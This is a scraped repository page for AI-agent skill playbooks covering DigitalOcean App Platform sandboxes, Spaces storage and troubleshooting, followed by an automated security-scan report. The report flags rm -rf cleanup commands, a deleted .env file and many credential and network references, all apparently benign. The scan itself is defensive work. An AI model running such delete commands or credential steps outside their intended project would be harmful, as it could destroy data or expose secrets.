README.mddoc1,775 bytesSKILL.mdcore9,408 bytesSKILL.mdcore9,408 bytesSKILL.mdcore9,408 bytesSKILL.mdcore9,408 bytesSKILL.mdcore9,408 bytesreference/cold-sandbox.mddoc5,958 bytesreference/hot-pool.mddoc12,636 bytesreference/positioning.mddoc5,655 bytesreference/service-mode.mddoc4,414 bytesreference/use-cases.mddoc10,857 bytes
Read SKILL.md
# Sandbox Skill
Isolated execution environments for AI agents and testing workflows.
## Philosophy
```
Lambda/Functions: Fast cold start, 15-min limit, stateless, per-ms billing
App Platform Sandbox: 30s cold start (or instant with pool), unlimited duration, stateful, per-hour billing
Sweet spot: Long-running, stateful, iterative workflows where agents need to
install packages, run code, check results, modify, repeat.
```
View the complete source on GitHubspaces
When your agent uses it
Configure DigitalOcean Spaces (S3-compatible object storage) for App Platform apps. Use when setting up file uploads, static assets, CDN, access logging, or per-app credential management.
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
1,748 tokensWhen the skill is activated
Reference documents
9,873 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Separation (Critical)
- Quick Decision
- Prerequisites
- Quick Start
- Regions
- Common Operations
- Scripts (AI-Friendly)
- Reference Files
- URL Patterns
- Quick Troubleshooting
- Integration
Scripts executed separately
scripts/_lib.shscripts/bootstrap_app_spaces.shscripts/enable_bucket_logging.shscripts/rotate_spaces_key.shscripts/view_access_logs.sh
Files
../../shared/regions.yamlasset3,548 bytesREADME.mddoc1,753 bytesSKILL.mdcore7,413 bytesSKILL.mdcore7,413 bytesSKILL.mdcore7,413 bytesSKILL.mdcore7,413 bytesSKILL.mdcore7,413 bytesSKILL.mdcore7,413 bytesSKILL.mdcore7,413 bytesSKILL.mdcore7,413 bytesreference/access-logging.mddoc7,692 bytesreference/aws-cli-operations.mddoc7,464 bytesreference/key-management.mddoc7,101 bytesreference/sdk-configuration.mddoc2,814 bytesreference/troubleshooting.mddoc9,169 bytesscripts/_lib.shruns5,035 bytesscripts/bootstrap_app_spaces.shruns2,402 bytesscripts/enable_bucket_logging.shruns1,392 bytesscripts/rotate_spaces_key.shruns2,620 bytesscripts/view_access_logs.shruns2,328 bytestemplates/bucket-logging.jsonasset105 bytes
Read SKILL.md
# Spaces Skill
S3-compatible object storage for App Platform applications.
## Tool Separation (Critical)
```
┌─────────────────────────────────────────────────────────────────┐
│ doctl: KEYS ONLY │ aws CLI: EVERYTHING ELSE │
│ • doctl spaces keys create│ • Bucket create/delete │
│ • doctl spaces keys list │ • Object upload/download │
│ • doctl spaces keys delete│ • CORS, logging, lifecycle │
└─────────────────────────────────────────────────────────────────┘
```View the complete source on GitHubapp-platform-troubleshooting
When your agent uses it
Debug running App Platform applications by accessing containers, analyzing logs, running diagnostics, and applying fixes. Use when apps fail to deploy, crash at runtime, have connectivity issues, or need performance diagnosis.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,033 tokensWhen the skill is activated
Reference documents
6,465 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Philosophy
- Quick Decision
- Mode 1: Live Troubleshooting (Quick Start)
- Mode 2: Logs-Only (Quick Start)
- Debug Container (Infrastructure Issues)
- Quick Reference: Exit Codes
- Quick Reference: Common Fixes
- Reference Files
- When to Escalate
- Integration with Other Skills
Files
README.mddoc2,087 bytesSKILL.mdcore4,222 bytesSKILL.mdcore4,222 bytesSKILL.mdcore4,222 bytesSKILL.mdcore4,222 bytesSKILL.mdcore4,222 bytesSKILL.mdcore4,222 bytesreference/app-maintenance.mddoc2,086 bytesreference/debug-container.mddoc4,258 bytesreference/diagnostic-scripts.mddoc4,993 bytesreference/live-troubleshooting.mddoc3,550 bytesreference/logs-analysis.mddoc3,669 bytesreference/networking-issues.mddoc3,958 bytes
Read SKILL.md
# App Platform Troubleshooting Skill
Transform debugging from guessing to rapid diagnosis and fix.
## Philosophy
```
Traditional: See error → Guess → Change → Push → Wait 5-7 min → Repeat
With skill: See error → Diagnose → Fix → Verify → Commit proper fix
```
## Quick Decision
```View the complete source on GitHubSkills included
- app-platform-router
- ai-services
- deployment
- app-platform-designer
- devcontainers
- managed-db-services
- app-platform-migration
- app-platform-networking
- planner
- postgres
- app-platform-sandbox
- spaces
- app-platform-troubleshooting
Repository facts
- License
- MIT
- Created
- Dec 28, 2025
- Last pushed
- Nov 1, 2026
- Forks
- 4
- Open issues
- 1
- Project activity
- Active
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 5, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 55 notes
SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/ai-services/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/ai-services/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/ai-services/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/ai-services/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/deployment/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/deployment/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/deployment/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/designer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/devcontainers/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 28 dangerous shell commandsin 11 files: Makefile:60 devcontainers/reference/cli-workflow.md:38 spaces/reference/aws-cli-operations.md:14 and 8 more
- 628 network referencesin 94 files: designer/reference/component-types.md:13 designer/reference/architecture-patterns.md:16 devcontainers/reference/s3-storage-patterns.md:9 and 91 more
- No hidden or obfuscated text
- 4 instruction override signalsin 2 files: postgres/scripts/cleanup_client.py:178 postgres/scripts/secure_setup.py:151
- 55 executable scriptsin 55 files: Makefile:1 scripts/collect_analytics.py:1 scripts/validate_skills.py:1 and 52 more
- 246 references to secretsin 59 files: SKILL.md:286 devcontainers/reference/cli-workflow.md:64 migration/reference/code-refactoring.md:13 and 56 more
- No requests to vote in Hot
Show all 961 signals by file
.ggshield.yaml
.gitguardian.yaml
.gitignore
- Access to secretsline 13
[Credential-related source omitted]
CHANGELOG.md
- Network accessline 5
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/).
CODE_OF_CONDUCT.md
- Network accessline 1
# https://github.com/digitalocean/engineering-code-of-conduct
CONTRIBUTING.md
- Network accessline 25
git clone https://github.com/<your-username>/do-app-platform-skills.git - Network accessline 141
For implementation and contribution flow patterns similar to DigitalOcean CLI, see: https://github.com/digitalocean/doctl?tab=contributing-ov-file#issues - Network accessline 142
https://github.com/digitalocean/doctl?tab=contributing-ov-file#issues
Docs/developer-guide.md
- Network accessline 6
git clone https://github.com/digitalocean-labs/do-app-platform-skills.git
Docs/user-guide.md
- Network accessline 143
- [App Platform Documentation](https://docs.digitalocean.com/products/app-platform/) - Network accessline 144
- [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/) - Network accessline 145
- [doctl CLI](https://docs.digitalocean.com/reference/doctl/)
Makefile
- Executable scriptline 1
Executable file - Dangerous shell operationline 60
rm -rf htmlcov/ - Dangerous shell operationline 61
rm -rf .pytest_cache/ - Dangerous shell operationline 62
rm -rf .coverage - Dangerous shell operationline 63
rm -rf coverage.xml - Dangerous shell operationline 64
find . -type d -name __pycache__ -exec rm -rf {} + 2>/dev/null || true - Dangerous shell operationline 65
find . -type f -name "*.pyc" -delete
README.md
SKILL.md
- Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 288
[Credential-related source omitted] - Access to secretsline 288
[Credential-related source omitted] - Access to secretsline 288
[Credential-related source omitted] - Access to secretsline 288
[Credential-related source omitted] - Access to secretsline 288
[Credential-related source omitted] - Access to secretsline 288
[Credential-related source omitted] - Access to secretsline 315
[Credential-related source omitted] - Access to secretsline 315
[Credential-related source omitted] - Access to secretsline 315
[Credential-related source omitted] - Access to secretsline 315
[Credential-related source omitted] - Access to secretsline 315
[Credential-related source omitted] - Access to secretsline 315
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Network accessline 414
1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 414
1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 414
1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 414
1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 414
1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 414
1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 416
3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 416
3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 416
3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 416
3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 416
3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/ - Network accessline 416
3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
TESTING.md
- Network accessline 412
- [pytest documentation](https://docs.pytest.org/) - Network accessline 413
- [pytest fixtures guide](https://docs.pytest.org/en/stable/fixture.html) - Network accessline 414
- [pytest markers guide](https://docs.pytest.org/en/stable/example/markers.html) - Network accessline 415
- [Coverage.py documentation](https://coverage.readthedocs.io/)
analytics/README.md
architecture/AGENT-WORKFLOWS.md
- Network accessline 215
|-------|------------|-----| | DB connection fails | `psql $DATABASE_URL -c "SELECT 1"` | Check SSL config, firewall | | Health check fails | `curl localhost:$PORT/health` | Check port binding, endpoint | - Network accessline 216
| DB connection fails | `psql $DATABASE_URL -c "SELECT 1"` | Check SSL config, firewall | | Health check fails | `curl localhost:$PORT/health` | Check port binding, endpoint | | Permission denied | `SELECT current_user, has_database_privile - Network accessline 217
| Health check fails | `curl localhost:$PORT/health` | Check port binding, endpoint |
scripts/collect_analytics.py
scripts/validate_skills.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/view_analytics.py
- Executable scriptline 1
#!/usr/bin/env python3
shared/AppSpec-Reference.md
- Network accessline 82
git: repo_clone_url: string # e.g., https://github.com/digitalocean/sample-golang.git - Network accessline 82
git: repo_clone_url: string # e.g., https://github.com/digitalocean/sample-golang.git - Network accessline 83
repo_clone_url: string # e.g., https://github.com/digitalocean/sample-golang.git - Network accessline 83
repo_clone_url: string # e.g., https://github.com/digitalocean/sample-golang.git - Access to secretsline 122
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 511
[Credential-related source omitted] - Network accessline 522
open_search: endpoint: string # HTTPS only, format: https://host:port - Network accessline 522
open_search: endpoint: string # HTTPS only, format: https://host:port - Network accessline 523
endpoint: string # HTTPS only, format: https://host:port - Network accessline 523
endpoint: string # HTTPS only, format: https://host:port - Network accessline 611
cors: allow_origins: - prefix: https://internal.example-app.com - Network accessline 611
cors: allow_origins: - prefix: https://internal.example-app.com - Network accessline 613
- prefix: https://internal.example-app.com - Network accessline 613
- prefix: https://internal.example-app.com - Network accessline 637
- App Spec Reference: https://docs.digitalocean.com/products/app-platform/reference/app-spec/ - Network accessline 637
- App Spec Reference: https://docs.digitalocean.com/products/app-platform/reference/app-spec/ - Network accessline 638
- Pricing: https://docs.digitalocean.com/products/app-platform/details/pricing/ - Network accessline 638
- Pricing: https://docs.digitalocean.com/products/app-platform/details/pricing/ - Network accessline 639
- Buildpacks: https://docs.digitalocean.com/products/app-platform/reference/buildpacks/ - Network accessline 639
- Buildpacks: https://docs.digitalocean.com/products/app-platform/reference/buildpacks/
shared/bindable-variables.md
- Network accessline 130
|----------|-------------|---------------| | `${APP_DOMAIN}` | App's primary domain | `myapp-xyz.ondigitalocean.app` | | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` | - Network accessline 130
|----------|-------------|---------------| | `${APP_DOMAIN}` | App's primary domain | `myapp-xyz.ondigitalocean.app` | | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` | - Network accessline 131
| `${APP_DOMAIN}` | App's primary domain | `myapp-xyz.ondigitalocean.app` | | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` | | `${APP_ID}` | App's unique identifier | `a1b2c3d4-5678-90ab-cdef` | - Network accessline 131
| `${APP_DOMAIN}` | App's primary domain | `myapp-xyz.ondigitalocean.app` | | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` | | `${APP_ID}` | App's unique identifier | `a1b2c3d4-5678-90ab-cdef` | - Network accessline 132
| `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` | - Network accessline 132
| `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` | - Network accessline 191
| Variable | Description | Example Value | |----------|-------------|---------------| | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` | - Network accessline 191
| Variable | Description | Example Value | |----------|-------------|---------------| | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` | - Network accessline 192
|----------|-------------|---------------| | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` | | `${component.PUBLIC_URL}` | Public URL | `https://api-xyz.ondigitalocean.app` | - Network accessline 192
|----------|-------------|---------------| | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` | | `${component.PUBLIC_URL}` | Public URL | `https://api-xyz.ondigitalocean.app` | - Network accessline 193
| `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` | - Network accessline 193
| `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` | - Network accessline 194
| `${component.PUBLIC_URL}` | Public URL | `https://api-xyz.ondigitalocean.app` | - Network accessline 194
| `${component.PUBLIC_URL}` | Public URL | `https://api-xyz.ondigitalocean.app` | - Network accessline 365
- [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/) - Network accessline 365
- [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/) - Network accessline 366
- [Managed Databases](https://docs.digitalocean.com/products/databases/) - Network accessline 366
- [Managed Databases](https://docs.digitalocean.com/products/databases/) - Network accessline 367
- [Database Users](https://docs.digitalocean.com/products/databases/postgresql/how-to/manage-users-and-databases/) - Network accessline 367
- [Database Users](https://docs.digitalocean.com/products/databases/postgresql/how-to/manage-users-and-databases/)
shared/console-sdk-patterns.md
shared/credential-patterns.md
- Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 260
[Credential-related source omitted] - Access to secretsline 271
[Credential-related source omitted] - Access to secretsline 277
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Network accessline 317
- key: NEXT_PUBLIC_API_URL scope: BUILD_TIME value: https://api.example.com - Network accessline 319
value: https://api.example.com - Access to secretsline 403
[Credential-related source omitted] - Access to secretsline 406
[Credential-related source omitted] - Access to secretsline 413
[Credential-related source omitted] - Dangerous shell operationline 414
rm .env.production - Network accessline 427
- [GitHub Environments](https://docs.github.com/en/actions/deployment/targeting-different-environments/using-environments-for-deployment) - Network accessline 428
- [GitHub Secrets](https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions) - Network accessline 429
- [DO App Platform Secrets](https://docs.digitalocean.com/products/app-platform/how-to/use-environment-variables/)
shared/opinionated-defaults.yaml
- Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Network accessline 172
# Documentation URLs (for reference in skills) documentation: app_spec: https://docs.digitalocean.com/products/app-platform/reference/app-spec/ - Network accessline 173
documentation: app_spec: https://docs.digitalocean.com/products/app-platform/reference/app-spec/ pricing: https://docs.digitalocean.com/products/app-platform/details/pricing/ - Network accessline 174
app_spec: https://docs.digitalocean.com/products/app-platform/reference/app-spec/ - Network accessline 175
pricing: https://docs.digitalocean.com/products/app-platform/details/pricing/ - Network accessline 176
regions: https://docs.digitalocean.com/products/app-platform/details/availability/ - Network accessline 177
buildpacks: https://docs.digitalocean.com/products/app-platform/reference/buildpacks/ - Network accessline 178
databases: https://docs.digitalocean.com/products/databases/ - Network accessline 179
deploy_button: https://docs.digitalocean.com/products/app-platform/how-to/add-deploy-do-button/ - Network accessline 180
app_action: https://github.com/digitalocean/app_action - Network accessline 181
doctl: https://docs.digitalocean.com/reference/doctl/reference/apps/
shared/skill-schema.json
- Network accessline 1
{ "$schema": "http://json-schema.org/draft-07/schema#", - Network accessline 2
"$schema": "http://json-schema.org/draft-07/schema#", - Network accessline 3
"$id": "https://digitalocean.com/schemas/skill-frontmatter.json", - Network accessline 62
"internal": { "type": "boolean", "description": "If true, this SKILL.md is treated as a router/wrapper and is hidden from default `skills add --list` output. Nested skills under `skills/<name>/SKILL.md` are then discover - Network accessline 63
"type": "boolean", "description": "If true, this SKILL.md is treated as a router/wrapper and is hidden from default `skills add --list` output. Nested skills under `skills/<name>/SKILL.md` are then discovered instead. See https:// - Network accessline 64
"description": "If true, this SKILL.md is treated as a router/wrapper and is hidden from default `skills add --list` output. Nested skills under `skills/<name>/SKILL.md` are then discovered instead. See https://github.com/vercel-labs/skills
shared/ssl-database-connections.md
- Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Network accessline 341
- [error-patterns.md](./error-patterns.md) — Quick error lookup - [postgres skill](../skills/postgres/SKILL.md) — Full Postgres configuration - [DigitalOcean Docs: Secure Connections](https://docs.digitalocean.com/products/databases/postgre - Network accessline 343
- [DigitalOcean Docs: Secure Connections](https://docs.digitalocean.com/products/databases/postgresql/how-to/connect/#secure-connections)
skills/ai-services/README.md
skills/ai-services/SKILL.md
- Access to secretsline 51
[Credential-related source omitted] - Network accessline 70
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Network accessline 72
value: https://inference.do-ai.run - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Network accessline 102
# Run locally gradient agent run # → http://localhost:8080/run - Network accessline 104
# → http://localhost:8080/run - Network accessline 137
Check [Gradient AI Models](https://docs.digitalocean.com/products/gradient-ai-platform/details/models/) for current availability. - Network accessline 170
- [Gradient AI Platform](https://docs.digitalocean.com/products/gradient-ai-platform/) - Network accessline 171
- [Available Models](https://docs.digitalocean.com/products/gradient-ai-platform/details/models/) - Network accessline 172
- [Serverless Inference](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/serverless-inference/) - Network accessline 173
- [Agent Development Kit](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/adk/)
skills/ai-services/reference/agent-development-kit.md
- Network accessline 65
https://agents.do-ai.run/v1/{workspace-id}/{deployment-name}/run - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted] - Network accessline 116
# Run locally gradient agent run # → http://localhost:8080/run - Network accessline 118
# → http://localhost:8080/run - Network accessline 120
# Test with curl curl -X POST http://localhost:8080/run \ - Network accessline 121
curl -X POST http://localhost:8080/run \ - Network accessline 171
- [Agent Development Kit](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/adk/) - Network accessline 172
- [ADK Quickstart](https://docs.digitalocean.com/products/gradient-ai-platform/getting-started/adk-quickstart/) - Network accessline 173
- [Knowledge Bases](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/knowledge-bases/)
skills/ai-services/reference/serverless-inference.md
- Network accessline 7
| Endpoint | Verb | Description | |----------|------|-------------| | `https://inference.do-ai.run/v1/models` | GET | List available models and IDs | - Network accessline 8
|----------|------|-------------| | `https://inference.do-ai.run/v1/models` | GET | List available models and IDs | | `https://inference.do-ai.run/v1/chat/completions` | POST | Send prompts, get responses | - Network accessline 9
| `https://inference.do-ai.run/v1/models` | GET | List available models and IDs | - Network accessline 10
| `https://inference.do-ai.run/v1/chat/completions` | POST | Send prompts, get responses | - Network accessline 36
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Network accessline 38
value: https://inference.do-ai.run - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Network accessline 87
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Network accessline 101
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted] - Network accessline 138
Check [Gradient AI Models](https://docs.digitalocean.com/products/gradient-ai-platform/details/models/) for current availability. - Network accessline 163
See [Partner Provider Keys docs](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/manage-model-keys/).
skills/deployment/README.md
- Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 62
[Credential-related source omitted] - Network accessline 94
- [SKILL.md](./SKILL.md) - Full skill documentation - [app_action repo](https://github.com/digitalocean/app_action) - Network accessline 95
- [app_action repo](https://github.com/digitalocean/app_action) - Network accessline 96
- [App Platform docs](https://docs.digitalocean.com/products/app-platform/)
skills/deployment/SKILL.md
- Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 180
[Credential-related source omitted] - Access to secretsline 212
[Credential-related source omitted] - Network accessline 224
- [app_action GitHub Repository](https://github.com/digitalocean/app_action) - Network accessline 225
- [App Platform Docs](https://docs.digitalocean.com/products/app-platform/) - Network accessline 226
- [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/) - Network accessline 227
- [GitHub Environments Docs](https://docs.github.com/en/actions/deployment/targeting-different-environments/using-environments-for-deployment)
skills/deployment/reference/debug-container-deployment.md
- Network accessline 5
**Source**: [github.com/bikramkgupta/do-app-debug-container](https://github.com/bikramkgupta/do-app-debug-container)
skills/deployment/reference/initial-setup.md
- Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Access to secretsline 224
[Credential-related source omitted] - Access to secretsline 236
[Credential-related source omitted] - Access to secretsline 268
[Credential-related source omitted]
skills/deployment/reference/workflow-templates.md
- Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Network accessline 182
owner: context.repo.owner, repo: context.repo.repo, body: `❌ Preview deployment failed. [View logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})` - Network accessline 183
repo: context.repo.repo, body: `❌ Preview deployment failed. [View logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})` }) - Network accessline 184
body: `❌ Preview deployment failed. [View logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})` - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 271
[Credential-related source omitted] - Access to secretsline 307
[Credential-related source omitted] - Access to secretsline 323
[Credential-related source omitted] - Access to secretsline 339
[Credential-related source omitted]
skills/designer/SKILL.md
- Network accessline 87
[](https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/BRANCH) - Network accessline 146
- name: web git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 147
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 148
repo_clone_url: https://github.com/owner/repo.git - Network accessline 174
- name: api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 175
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 176
repo_clone_url: https://github.com/owner/repo.git - Network accessline 188
- name: frontend git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 189
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 190
repo_clone_url: https://github.com/owner/repo.git
skills/designer/reference/architecture-patterns.md
- Network accessline 16
- name: web git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 17
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 18
repo_clone_url: https://github.com/owner/repo.git - Network accessline 49
- name: api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 50
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 51
repo_clone_url: https://github.com/owner/repo.git - Network accessline 64
- name: frontend git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 65
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 66
repo_clone_url: https://github.com/owner/repo.git - Network accessline 108
- name: api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 109
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 110
repo_clone_url: https://github.com/owner/repo.git - Network accessline 125
- name: processor git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 126
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 127
repo_clone_url: https://github.com/owner/repo.git - Network accessline 161
- name: api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 162
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 163
repo_clone_url: https://github.com/owner/repo.git - Network accessline 171
- name: admin git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 172
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 173
repo_clone_url: https://github.com/owner/repo.git - Network accessline 182
- name: web git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 183
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 184
repo_clone_url: https://github.com/owner/repo.git - Network accessline 224
- name: api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 225
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 226
repo_clone_url: https://github.com/owner/repo.git - Network accessline 246
- name: jobs git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 247
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 248
repo_clone_url: https://github.com/owner/repo.git - Network accessline 260
kind: PRE_DEPLOY git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 261
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 262
repo_clone_url: https://github.com/owner/repo.git - Network accessline 270
cron: "0 6 * * *" git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 271
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 272
repo_clone_url: https://github.com/owner/repo.git - Network accessline 278
- name: dashboard git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 279
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 280
repo_clone_url: https://github.com/owner/repo.git - Network accessline 286
- name: marketing git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 287
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 288
repo_clone_url: https://github.com/owner/repo.git
skills/designer/reference/component-types.md
- Network accessline 13
- name: api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 14
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 15
repo_clone_url: https://github.com/owner/repo.git - Network accessline 39
- name: api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 40
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 41
repo_clone_url: https://github.com/owner/repo.git - Network accessline 52
- name: api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 53
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 54
repo_clone_url: https://github.com/owner/repo.git - Network accessline 70
